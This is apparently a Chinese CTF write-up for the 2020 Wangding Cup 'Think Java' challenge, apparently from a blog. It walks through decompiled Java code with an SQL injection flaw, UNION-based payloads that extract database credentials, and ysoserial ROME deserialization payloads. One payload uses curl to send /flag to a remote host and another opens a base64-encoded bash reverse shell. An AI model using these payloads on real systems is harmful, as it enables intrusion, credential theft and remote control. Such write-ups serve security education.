[网鼎杯 2020 朱雀组]Think Java

本文介绍了如何通过分析Java源码,发现SQL注入漏洞,并利用#字符特性绕过限制,获取数据库信息。接着,展示了如何进行Java反序列化攻击,利用ysoserial工具构造payload,最终获取Flag。同时提到了如何反弹shell的方法。
摘要由CSDN通过智能技术生成

[网鼎杯 2020 朱雀组]Think Java

获取源文件

下载jar包,扔进jd-gui查看源码
在这里插入图片描述

主要是4个文件
Test.java
接收dbName参数,然后调用getTableData方法

package ;

import cn.abc.common.bean.ResponseCode;
import cn.abc.common.bean.ResponseResult;
import cn.abc.common.security.annotation.Access;
import cn.abc.core.sqldict.SqlDict;
import cn.abc.core.sqldict.Table;
import io.swagger.annotations.ApiOperation;
import java.io.IOException;
import java.util.List;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@CrossOrigin
@RestController
@RequestMapping({"/common/test"})
public class Test {
  @PostMapping({"/sqlDict"})
  @Access
  @ApiOperation(")
  public ResponseResult sqlDict(String dbName) throws IOException {
    List<Table> tables = SqlDict.getTableData(dbName, "root", "abc@12345");
    return ResponseResult.e(ResponseCode.OK, tables);
  }
}

Row.java
定义了一个Row类

package .sqldict;

public class Row {
  String name;
  
  String type;
  
  String def;
  
  String isNull;
  
  String isAuto;
  
  String remark;
  
  String isPK;
  
  String size;
  
  public String getIsPK() {
    return this.isPK;
  }
  
  public void setIsPK(String isPK) {
    this.isPK = isPK;
  }
  
  public String getName() {
    return this.name;
  }
  
  public void setName(String name) {
    this.name = name;
  }
  
  public String getType() {
    return this.type;
  }
  
  public void setType(String type) {
    this.type = type;
  }
  
  public String getDef() {
    return this.def;
  }
  
  public void setDef(String def) {
    this.def = def;
  }
  
  public String getIsNull() {
    return this.isNull;
  }
  
  public void setIsNull(String isNull) {
    this.isNull = isNull;
  }
  
  public String getIsAuto() {
    return this.isAuto;
  }
  
  public void setIsAuto(String isAuto) {
    this.isAuto = isAuto;
  }
  
  public String getRemark() {
    return this.remark;
  }
  
  public void setRemark(String remark) {
    this.remark = remark;
  }
  
  public String getSize() {
    return this.size;
  }
  
  public void setSize(String size) {
    this.size = size;
  }
  
  public Row() {}
  
  public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) {
    this.name = name;
    this.type = type;
    this.def = def;
    this.isNull = isNull;
    this.isAuto = isAuto;
    this.remark = remark;
    this.isPK = isPK;
    this.size = size;
  }
}

SqlDict.java

连接数据库,其中sql语句处存在sql注入漏洞

package .sqldict;

import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

public class SqlDict {
  public static Connection getConnection(String dbName, String user, String pass) {
    Connection conn = null;
    try {
      Class.forName("com.mysql.jdbc.Driver");
      if (dbName != null && !dbName.equals("")) {
        dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
      } else {
        dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
      } 
      if (user == null || dbName.equals(""))
        user = "root"; 
      if (pass == null || dbName.equals(""))
        pass = "abc@12345"; 
      conn = DriverManager.getConnection(dbName, user, pass);
    } catch (ClassNotFoundException var5) {
      var5.printStackTrace();
    } catch (SQLException var6) {
      var6.printStackTrace();
    } 
    return conn;
  }
  
  public static List<Table> getTableData(String dbName, String user, String pass) {
    List<Table> Tables = new ArrayList<>();
    Connection conn = getConnection(dbName, user, pass);
    String TableName = "";
    try {
      Statement stmt = conn.createStatement();
      DatabaseMetaData metaData = conn.getMetaData();
      ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });
      while (tableNames.next()) {
        TableName = tableNames.getString(3);
        Table table = new Table();
        String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
        ResultSet rs = stmt.executeQuery(sql);
        while (rs.next())
          table.setTableDescribe(rs.getString("TABLE_COMMENT")); 
        table.setTableName(TableName);
        ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
        ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
        String PK;
        for (PK = ""; rs2.next(); PK = rs2.getString(4));
        while (data.next()) {
          Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
          table.list.add(row);
        } 
        Tables.add(table);
      } 
    } catch (SQLException var16) {
      var16.printStackTrace();
    } 
    return Tables;
  }
}

Table.java

package .sqldict;

import cn.abc.core.sqldict.Row;
import java.util.ArrayList;
import java.util.List;

public class Table {
  String tableName;
  
  String tableDescribe;
  
  List<Row> list = new ArrayList<>();
  
  public String getTableDescribe() {
    return this.tableDescribe;
  }
  
  public void setTableDescribe(String tableDescribe) {
    this.tableDescribe = tableDescribe;
  }
  
  public String getTableName() {
    return this.tableName;
  }
  
  public void setTableName(String tableName) {
    this.tableName = tableName;
  }
  
  public List<Row> getList() {
    return this.list;
  }
  
  public void setList(List<Row> list) {
    this.list = list;
  }
}

Swagger

注意看Test.java,导入了swagger这个东西

在这里插入图片描述

查一下资料

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

查资料会查到swagger-ui.html
在这里插入图片描述

访问swagger-ui.html,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入

在这里插入图片描述

至于login和current,题目给我们jar包时候说了只给了部分class文件,不过login应该是登录用的

JDBC sql注入

关于#的使用

参考guoke师傅的解释

在这里插入图片描述

在url中#表示锚点,表示网页中的一个位置,比如http:xxx/index.html#aaa,浏览器读取这个url,会将aaa移到可视位置。在第一个#,都会被视为位置标识符,不会被发送到服务端

而jdbc类似于url解析,所以会忽略#后面的字符

#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23

查看数据库名字

select schema_name from information_schema.schemata;
效果相当于show databases;

在这里插入图片描述

获取所有数据库的名字
dbName=myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
结果
information_schema,myapp,mysql,performance_schema,sys

在这里插入图片描述

获取表名

dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user

在这里插入图片描述

获取字段名

dbName=myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
结果
id,name,pwd

在这里插入图片描述

获取字段值

dbName=myapp#' union select group_concat(id)from(user)#
结果 1
dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

所以就得到一个用户信息
序号为1,name为admin,密码为admin@Rrrr_ctf_asde

在这里插入图片描述

然后将用户名和密码在/common/user/login处提交,获取一串字符串

{
  "password": "admin@Rrrr_ctf_asde",
  "username": "admin"
}

在这里插入图片描述

将这段字符串放到/common/user/current处提交,然后就会发现回显了这个用户的信息

在这里插入图片描述

对序列化字符串分析

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

引用Mustapha Mond师傅的解释

下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

java Deserialization Scanner插件使用

使用burpsuite的java Deserialization Scanner插件对其进行分析,在extender中安装这个插件

在这里插入图片描述

然后配置一下环境变量
在这里插入图片描述

然后抓包,将其发送到插件中
在这里插入图片描述

然后选择base64开始扫描,结果回显ROME有可能

在这里插入图片描述
接下来使用ysoserial打

ysoserial

curl将flag带出来

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:7015 -d @/flag" > a.bin

a.py,python3环境运行

# -*- coding: UTF-8 -*-
import base64
file = open("a.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

注意回显的字符串特征,看下大佬的技巧
在这里插入图片描述
注意最后提交的时候,要在前面加上Bearer

在这里插入图片描述

注意提前监听端口
然后在/common/user/current这里提交

在这里插入图片描述

监听处得flag

在这里插入图片描述

反弹shell

或者弹shell,弹shell操作参考链接

bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}" > a.bin
python a.py
将生成的java序列化后的值传进/common/user/current

监听端口,得shell
在这里插入图片描述

参考文章

  1. swagger参考文章
  2. h3zh1师傅的文章
  3. ysoserial使用方法
  4. guoke师傅的wp
  5. 关于information.schema的解释
  6. 弹shell操作参考链接
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值